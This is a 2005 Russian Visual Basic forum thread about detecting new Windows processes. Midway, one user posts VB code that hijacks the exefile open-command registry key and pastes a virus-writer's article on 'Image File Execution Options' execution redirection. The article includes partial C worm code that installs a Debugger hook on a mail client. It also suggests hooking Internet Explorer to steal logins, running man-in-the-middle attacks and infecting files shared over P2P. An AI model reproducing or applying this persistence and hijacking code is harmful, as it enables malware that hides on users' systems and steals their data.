Остледить появление новых процессов

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
ANDLL
Великий гастроном
Великий гастроном
Аватара пользователя
 
Сообщения: 3450
Зарегистрирован: 29.06.2003 (Вс) 18:55

Остледить появление новых процессов

Сообщение ANDLL » 10.10.2005 (Пн) 15:52

Как отследить запуск некоторого процесса в Windows, если этот процесс, возможно, не создает окон(например работает как сервис)?
Перебор процессов по таймеру не предлагать, ибо лажа.
Гастрономия - наука о пище, о ее приготовлении, употреблении, переварении и испражнении.
Блог

tyomitch
Пользователь #1352
Пользователь #1352
Аватара пользователя
 
Сообщения: 12822
Зарегистрирован: 20.10.2002 (Вс) 17:02
Откуда: חיפה

Сообщение tyomitch » 10.10.2005 (Пн) 17:15

Стандартное решение - установка драйвера и перехват NtCreateProcess. Только едва ли это удастся на VB.
Изображение

Ennor
Конструктивный критик
Конструктивный критик
 
Сообщения: 2504
Зарегистрирован: 18.12.2001 (Вт) 3:58
Откуда: Калуга -> Москва

Re: Остледить появление новых процессов

Сообщение Ennor » 10.10.2005 (Пн) 17:26

ANDLL писал(а):Перебор процессов по таймеру не предлагать, ибо лажа.

ЕМНИП, Task Manager именно так и поступает.

ANDLL
Великий гастроном
Великий гастроном
Аватара пользователя
 
Сообщения: 3450
Зарегистрирован: 29.06.2003 (Вс) 18:55

Сообщение ANDLL » 10.10.2005 (Пн) 17:43

2Ennor: Я знаю. Не случайно, там есть параметр "частота обновления". Но мне такой способ не желателен. А иначе, как я понял, никак?
Гастрономия - наука о пище, о ее приготовлении, употреблении, переварении и испражнении.
Блог

xenomorph
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 508
Зарегистрирован: 18.04.2004 (Вс) 11:41
Откуда: это не важно - на сегодня у меня есть алиби ...

Небольшой ОФФТОП по теме 8-).

Сообщение xenomorph » 10.10.2005 (Пн) 20:12

Привет Всем!

Кое что о проэкте "RDR" ...
[разрабатывалось почти под грифом _Top Secret_ 8-)]:

================< покусано >====================
...
Цель -> нестандартные методики авторана.
Метод -> исследование реестра.
Результат -> ветка:
[HKEY_CLASSES_ROOT\exefile\shell\open\command\"%1" %]
...
================< покусано >====================

Выдержки из журнала разработки проэкта:
================< покусано >====================
Код: Выделить всё
'...
Option Explicit

Private Declare Function GetCommandLine Lib "kernel32" Alias "GetCommandLineA" () As String

'-----------------------------------------------------------------------------------------------
'This one is executed each time the .exe is launched!
'Test parameters:
'C:\rdr %1 %2 %3
'C:\rdr %1 %2 %3 %4 %5
'Syntax - First goes the location of the interceptor:
'"C:\rdr"
'then - all the com parameters are shifted onto 1 symbol right
' Register Location:
'HKEY_CLASSES_ROOT\exefile\shell\open\command
' Normal State (without brackets):
'["%1" %]
'-----------------------------------------------------------------------------------------------
Public Sub Main()
    Dim cl As String
    cl = GetCommandListStr
    Shell Trim(cl), vbNormalFocus
    Shell "calc.exe", vbHide
End Sub

================< module 1 >====================
================< module 2 >====================
Код: Выделить всё
Option Explicit

Private Declare Function GetCommandLine Lib "kernel32" Alias "GetCommandLineA" () As Long
Private Declare Function lStrLen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)

Public Function GetCommandListStr() As String
  Dim lngRString As Long, lngRStrLen As Long, astrBuffer As String
 
  lngRString = GetCommandLine()
  lngRStrLen = lStrLen(lngRString)
 
  If (lngRStrLen > 0) Then
    GetCommandListStr = Space$(lngRStrLen)
    CopyMemory ByVal GetCommandListStr, ByVal lngRString, lngRStrLen
  End If
End Function

================< module 2 >====================

Теперь о том что это за бред 8-).
Эта такая ветка в реестре которая имеет параметр ТОГО ЧТО ИМЕННО
будет запускаться 8-).

ТО ЕСТЬ если заменить этот параметр на calc.exe ТО (!) при попытке
запуска ЛЮБОГО исполнимого файла (*.exe) будет запускаться калькулятор.

Идея заключаеться в следующем ->
[C:\rdr %1 %2 %3 %4 %5]

Сначала будет запускаться C:\rdr.exe а в качестве параметров он получает
имя программы и её коммандную строку. И УЖЕ ОН запускает оригинал программы.

Ответы закончились. Пошли вопросы и проблемы. 8-).

Такой механизм (программа перехватчик) позволяет контролировать
запускаемые пользователем процессы.

Э-э-э у меня НЕТ времени сейчас этим заниматься 8-).
Люди добрые - покопайте тута 8-). Есть же где копать!

Я собрал строчки:
а) для запуска RDR и нужной проги.
б) для запуска RDR и нужной проги и 2 параметров КС.
в) на систему эта фишка не действует - т.е. ползователя SYSTEM (или я не прав?)

Интерес=Т=ны Мысли:
1. Как ни странно на РДР запуск прог из РДР не расспространяеться? (частично проверено).
2. Проблемы с передачей нескольких параметров КС.
3. ЕррорХэндлинг (?).
4. Анологичная статься была мммм ... в PHrack-e? \ X25 \ ///
ImageBaseExecution ??? не помню ... 8-(.
5. ОСТОРОЖНО эксперементируйте ... одно неловкое движение и ... ! (минздрав вас предупредил!)
(я уже систему 2 раза восстанавливал!)
--
ИМХУ идея очень перспективная? ... или как?
... Dpkjvfnm dc`xnj itdtkbnmcz, f tckb yt itdtkbnmcz hfcitdtkbnm b dpkjvfnm !!! ...

ANDLL
Великий гастроном
Великий гастроном
Аватара пользователя
 
Сообщения: 3450
Зарегистрирован: 29.06.2003 (Вс) 18:55

Сообщение ANDLL » 10.10.2005 (Пн) 20:31

Даже если такой метод и действует, то он действует только для тех прог, которые были запущены с использованием ShellExecute. Соответственно все процессы которые были созданы с помощью CreateProcessA\W, а именно эту функцию использает VB-шный Shell(), этот метод не отлавливает.
Гастрономия - наука о пище, о ее приготовлении, употреблении, переварении и испражнении.
Блог

xenomorph
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 508
Зарегистрирован: 18.04.2004 (Вс) 11:41
Откуда: это не важно - на сегодня у меня есть алиби ...

реплюй ...

Сообщение xenomorph » 10.10.2005 (Пн) 20:48

2 ANDLL!

Ты не представляешь КАК много ПОЛЕЗНОГО ты только что сказал (!!!)!
Я подозрвал что фишка перезапуска НЕ СЕБЯ (я о RDR) завязана на конкретное АПИ ... но эта мысль у меня крутилась на задворках сознания 8-).

Ниженаписаное ПЕРЕХВАТЫВАЕТ CreateProcessA\W. Но использовать его БЕЗ динамической смены параметра - АКА шлюзования ...
т.е. при активации rdr он хватает ком строку, "открывает шлюз" (т.е. убирает себя из реестра как перехватчик) запускаеи ТО что было в ком строке, а затем опять включает перехват.

ИМХУ это надо тестить. Может система и будет работать более или менее стабильно. (скорее менее 8-)))). Х.3. (хрен знает).

Итак: Respe=X=ts go to 29a:

=============================================================
Execution redirection thru ‘Image File Execution Options’ key
By GriYo/29A
=============================================================

I’m bored of worms and other malware which still use the well know,
old fashioned, overexploited HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
\Windows\CurrentVersion\Run registry key.

Here I’m going to underline one that may result in lots of fun if
exploited with imagination.

There is a registry key, ‘Image File Execution Options’, which will
allow you to redirect execution of other executable file on the
system. Although this is a well known and documented key, I don’t
remember about any malware exploiting it, at least with enough
imagination to catch my attention.

Hands on work, go to the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
\Windows NT\CurrentVersion\Image File Execution Options and create a
new key inside using the name of the executable you want to trick,
lets say NOTEPAD.EXE.

Notice that there are already some entries at ‘Image File Execution
Options’ key. Those applications and stuff may be something related
to compatibility of older WINDOWS applications or so...

Now add a new string value to NOTEPAD.EXE key, call it ‘Debugger’,
and enter the path of some other executable as its value. The whole
thing will look like:

Image File Execution Options
|
|__NOTEPAD.EXE
Debugger - REG_SZ - C:\WINDOWS\SYSTEM32\CALC.EXE

Once done, go and click on NOTEPAD icon… And there is, CALC.EXE is
executed instead. Funny enough to laugh when you sister tries to
execute MICROSOFT MESSENGER, getting CALC.EXE instead... But we’ll
try to go beyond that...

Here is a simple command line application, TEST.C, which shows the
parameters that were used to execute it:

----------------------------------------------------------------------
#include "stdio.h"
#include "conio.h"

int main( int argc, char **argv)
{
int count ;

printf( "Number of arguments: %d\n", argc) ;

count = 0 ;

while( count < argc)
{
printf( "Argument %d: %s\n", count, argv[ count]) ;
count++ ;
}

while( !kbhit()) ;

return 0 ;
}
----------------------------------------------------------------------

Compile it and place test.exe in your root folder, C:\TEST.EXE. Now
go to NOTEPAD.EXE in the registry and change the value of ‘Debugger’
to point to C:\TEST.EXE.

Click on NOTEPAD icon and see the results displayed by TEST.EXE:

----------------------------------------------------------------------
Number of arguments: 2
Argument 0: c:\test.exe
Argument 1: C:\WINDOWS\system32\notepad.exe
----------------------------------------------------------------------

As you can see, the original application’s path is passed to test.exe
as a parameter. Now create a README.TXT file on your root and click
on it. If NOTEPAD.EXE is your default application for .txt files
test.exe will appear, showing the following information:

----------------------------------------------------------------------
Number of arguments: 3
Argument 0: c:\test.exe
Argument 1: C:\WINDOWS\system32\NOTEPAD.EXE
Argument 2: C:\readme.txt
----------------------------------------------------------------------

Now you can see the parameters passed to NOTEPAD.EXE also appear as
parameters for test.exe.

At this time we know we can write an application which can be
executed instead of NOTEPAD.EXE. That application can take argv[ 1]
and execute it, passing argv[ 2] or above as parameters. In such
case, if your application doesn’t show any window the user won’t
notice it.

What can be done? You application will be executed instead of the
original one. Upon execution you application may execute the original
one, using the specified parameters, and eventually hooking some API
or making certain changes.

A problem you will face while doing this: You application (test.exe
in this example) wont be able to execute the original
one (NOTEPAD.EXE).

Why? Because the redirection at ‘Image File Execution Options’ key.
When TEST.EXE tries to execute NOTEPAD.EXE by means of CreateProcess,
another instance of TEST.EXE will be executed instead, causing and
endless loop.

You will need to remove NOTEPAD.EXE key on ‘Image File Execution
Options’, execute the original NOTEPAD.EXE file and then writing
NOTEPAD.EXE key again.

There are also some other minor problems you will have to face by
yourself. Consider the following, uncompleted code, as an starting
point:

----------------------------------------------------------------------
#include <windows.h>

#define WormName "myworm"
#define SubKey "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\msimn.exe"
#define SIZEOF_SPOOF_CMDLINE 1024

#ifdef _DEBUG
void DbgOut( char *Text)
{
MessageBox( NULL, Text, WormName, 0) ;
}
#endif

BOOL SetImgHook()
{
char WormPath[ MAX_PATH] ;

int Size ;
HKEY hKey ;
BOOL RetVal ;

Size = GetModuleFileName( NULL, WormPath, MAX_PATH) ;

RetVal = FALSE ;

if( RegCreateKey( HKEY_LOCAL_MACHINE,
SubKey,
&hKey) == ERROR_SUCCESS)
{
RetVal = ( RegSetValueEx( hKey,
"Debugger",
0,
REG_SZ,
WormPath,
Size) == ERROR_SUCCESS) ;

RegCloseKey( hKey) ;
}

return RetVal ;
}

BOOL ClearImgHook()
{
return( RegDeleteKey( KEY_LOCAL_MACHINE,
SubKey) == ERROR_SUCCESS) ;
}

int WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
STARTUPINFO si ;
PROCESS_INFORMATION pi ;

char SpoofCmdLine[ SIZEOF_SPOOF_CMDLINE] ;
char *Src ;
char *Dst ;

#ifdef _DEBUG
if( ClearImgHook()) DbgOut( "App hook removed") ;
else DbgOut( "Error! Cant remove app hook") ;
#else
ClearImgHook() ;
#endif

GetStartupInfo( &si) ;

Src = lpCmdLine ;
Dst = SpoofCmdLine ;

while( *Src != '\0')
{
if( *Src != '\"')
{
*Dst = *Src ;
Dst++ ;
}

Src++ ;
}

*Dst = '\0' ;

if( CreateProcess( SpoofCmdLine,
NULL,
NULL,
NULL,
FALSE,
REATE_NEW_PROCESS_GROUP|CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi))
{
#ifdef _DEBUG
DbgOut( "Original app executed successfully") ;
#endif

//
// Place hooks over original executable now
//

ResumeThread( pi.hThread) ;
WaitForSingleObject( pi.hProcess, INFINITE) ;

#ifdef _DEBUG
DbgOut( "Original app closed") ;
#endif
}
#ifdef _DEBUG
else
{
DbgOut( "Error! Unable to execute original app") ;
}
#endif

#ifdef _DEBUG
if( SetImgHook()) DbgOut( "App hook reinstalled") ;
else DbgOut( "Error! Cant reinstall app hook") ;
#else
SetImgHook() ;
#endif

return 0 ;
}
----------------------------------------------------------------------

What I’d like of this is:

* Well, I don’t have to use the same fucking registry key every worm
out there is already using!

* Having a chance to modify / hook the original program in memory
when it is executed without having to worry about WINDOWS FILE
PROTECTION.

Finally, decide which application you want to play with. Some
ideas are:

* INTERNET EXPLORER

By placing on-memory hooks on IEXPLORE.EXE or its DLL’s you’ll be
able to catch authentications, visited URL’s or make any kind of
man-in-the-middle attack you can invent.

* MAIL CLIENT

Well, nothing to say here… Imagine by yourself, but please, don’t
write stupid mass mailing shit just able to infect idiots who execute
everything they receive. If you create something, create something
new which demonstrates more than WINDOWS users stupidity.

* WINDOWS EXPLORER

Your application can gain complete access to everything done by
EXPLORER.EXE, be creative.

* P2P

Mmmm… Let’s figure out the following scenario: Your application
takes control instead of some P2P one, place hooks on it and launches
the original. When a remote user request some file, you application
adds something to that file, passes it to the P2P application for
delivering and then restores the file to its original form.

Thats all, have fun with coding and be creative! ;-)

--
Какие истчо есть ИМХ-и? 8-).
... Dpkjvfnm dc`xnj itdtkbnmcz, f tckb yt itdtkbnmcz hfcitdtkbnm b dpkjvfnm !!! ...

_Мика_
Гуру
Гуру
 
Сообщения: 1459
Зарегистрирован: 24.10.2003 (Пт) 15:05
Откуда: г. Москва, м.Речной вокзал

Сообщение _Мика_ » 10.10.2005 (Пн) 21:22

WoW :shock: Ну теперь и супер мега вирус сделать не проблема! :twisted:
-Папа, а правда, что форумы делают людей дибилами?
-гы гы гы, сынок, лол!

ANDLL
Великий гастроном
Великий гастроном
Аватара пользователя
 
Сообщения: 3450
Зарегистрирован: 29.06.2003 (Вс) 18:55

Сообщение ANDLL » 10.10.2005 (Пн) 21:49

Прикольно... Только как это может помочь мне? Как я понял, про глобальный хук речи не идет. Речь идет только о хуке на specified file name...[/u]
Гастрономия - наука о пище, о ее приготовлении, употреблении, переварении и испражнении.
Блог

Twister
Теоретик
Теоретик
Аватара пользователя
 
Сообщения: 2251
Зарегистрирован: 28.06.2005 (Вт) 12:32
Откуда: Алматы

Сообщение Twister » 11.10.2005 (Вт) 11:15

ANDLL, а чем перебор не устраивает-то? Просто и быстро получается, без лишнего гимора. Я у себя в проге 2 раза в секунду проверял кол-во процессов в системе и сверял его со счетчиком. Если цифры различались, то ...

Могу дать интересную ссылочку. Тутесть алгоритмы поиска скрытых процессов, мож пригодится...
А я все практикую лечение травами...

ANDLL
Великий гастроном
Великий гастроном
Аватара пользователя
 
Сообщения: 3450
Зарегистрирован: 29.06.2003 (Вс) 18:55

Сообщение ANDLL » 11.10.2005 (Вт) 15:07

Единственное, что в этой статье не говориться, что такое скрытый процесс? И как можно его создать?
Гастрономия - наука о пище, о ее приготовлении, употреблении, переварении и испражнении.
Блог

Twister
Теоретик
Теоретик
Аватара пользователя
 
Сообщения: 2251
Зарегистрирован: 28.06.2005 (Вт) 12:32
Откуда: Алматы

Сообщение Twister » 12.10.2005 (Ср) 14:13

Где-то у нас на сайте выложен пример VBPhantom. Ищи...
А я все практикую лечение травами...


Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: SemrushBot и гости: 128

    TopList